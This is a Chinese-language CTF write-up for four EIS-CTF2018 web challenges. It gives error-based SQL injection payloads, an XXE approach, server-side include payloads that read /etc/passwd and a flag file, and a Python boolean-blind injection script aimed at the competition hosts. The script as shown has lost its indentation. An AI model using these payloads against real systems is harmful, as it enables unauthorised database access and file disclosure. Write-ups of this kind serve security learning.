EIS-CTF2018
simpleBBS
题目:http://bbs.sec.zju.edu.cn/
进入网站 注册 登录
题目中没有任何提示,只说是简单的bbs(论坛)各种操作轮番上阵xss各种弹,没卵用,甚至右边有个文件上传测试,以为是文件上传,结果也没找到上传点,好吧放弃了,
那是不可能的,一翻py,fuzz,注册的时候会报错,
说明注册的时候需要加一个参数sn,抓包添加sn参数,注册成功。
不过给我最大的启发是这个页面报错,数据库,难道暗示着 数据库报错,注入?
试试 注册页面翻云覆雨的fuzz,好吧单引号过滤了,我注入你个螺旋大锤子。
??不对,我登录页面给个单引号呢,经过一翻测试,必须要已经注册的账号加单引号才有效。
好的 测试开始,账号 username=xiaozhupeiqi1'&password123456
这是啥??数据库报错?好了,二话不说就是报错注入,
flag出来了,hiahiahia,提交,乔德麻袋??flag咋不全,别担心换个函数
username=aaa' and 1=updatexml(1,concat(0x3a,(select mid(flag,32,32) from flag) ,0x3a),1)--
OK了剩下的几位也出来了。此题 完!
SimpleExtensionExplorerInjection
请看题目,重点 xxe,后面是/flag,就是flag路径,
开局两个框,抓包!
我*?不是xml吗,你给我发个json格式包,你想做爪子?
不对,这是ctf,这很正常,佩奇老哥给你传个xml格式试试水,
牛皮,xml 数据可以传输,那么比较容易忽视的点来了,三个箭头的地方原本是json,既然要传输xml,一定要修改成xml,否则你做出来我吃*,
然后xxe,不会的请自行参考我的博客xxe,
来个payload 包,
完结!
SimpleServerInjection
重点,SSI 是服务器注入,拓展下,ssti是服务器模版注入,名字很像,利用方式有区别,然后flag在当前目录下,
这道CTF题还是比较简单,但是需要点,点不对打死也做不出来,想复杂的话 更做不出来。
payload
name=<!--%23exec cmd="cat /etc/passwd"-->
这里有个小点,如果是#浏览器会自动当成注释,不会解析发包,所以这里给编码%23
但是并没卵用,一开始以为会过滤了东西,但是看不出来哪过滤了,这个时候就要多尝试命令,
毕竟ssi有那么多命令
尝试过后使用
name=<!--%23include virtual="flag"-->
SimpleBlog
题目,简单的blog,然后在classes给提示说是二次注入,一翻尝试之后无果,最后大佬给的思路,注意主页的提示
注意0分,final exam提交答卷会随机给一个成绩,既然说二次注入,会不会是看成绩的时候会把用户名啥的代入到数据库中,因为提交答卷分数插入到数据库,这里可能造成二次注入,即然这样那注入点就在用户名上面了,不断注册查看是否等于0,后来看wp晓得,当成绩为0时说明逻辑错误,不为0则逻辑正常。
然后注册 账号为 1' or 1=1 or '
账号这里有几个点着重说一下
前面的1要单引号闭合,这句逻辑账号有三个语句要判断,第一个1’ 数据库中可能要查询啥不清楚后端代码,这里判断是错的,or 1=1 这个语句是对的, or' 闭合语句这句也逻辑也是错的,所以我们 or判断只要是对的 那么分数查询那里就会是有分,否则就是0分。
现在就可写脚本进行检测,首先确定好自己的 注入语句,这里是无法通过回显来注入的,所以我们通过布尔盲注写脚本。
语句 zpq' or ascii(substr((select flag from flag limit 0,1),1,1))>1 or '
查看效果
语句 zpq' or ascii(substr((select flag from flag limit 0,1),1,1))>1000 or '
这句 肯定为错,因为ascii码不可能大于1000
可以看到 返回为0说明是错误的,语句已经完成接下来就写个脚本跑出flag。
import requests
import re
headers = {
'Connection': 'close',
}//防多次访问断开连接
flag=""
for i in range(1,32):
for nmb in range(32,126):
payload={'username':"zpq888' or ascii(substr((select flag from flag limit 0,1),%s,1))=%s or'"%(i,nmb),'password':"123"}
s=requests.Session()
url_reg='http://210.32.4.20/register.php'
r=s.post(url_reg,data=payload,headers=headers)
url_log='http://210.32.4.20/login.php'
r=s.post(url_log,data=payload,headers=headers)
url_ans='http://210.32.4.20/answer.php'
select={'1.a':'on'}
r=s.post(url_ans,data=select,headers=headers)
result=r.content[2074:2075]
if int(result)!=0:
flag=flag+chr(nmb)
print flag
break
单线程太慢不跑了!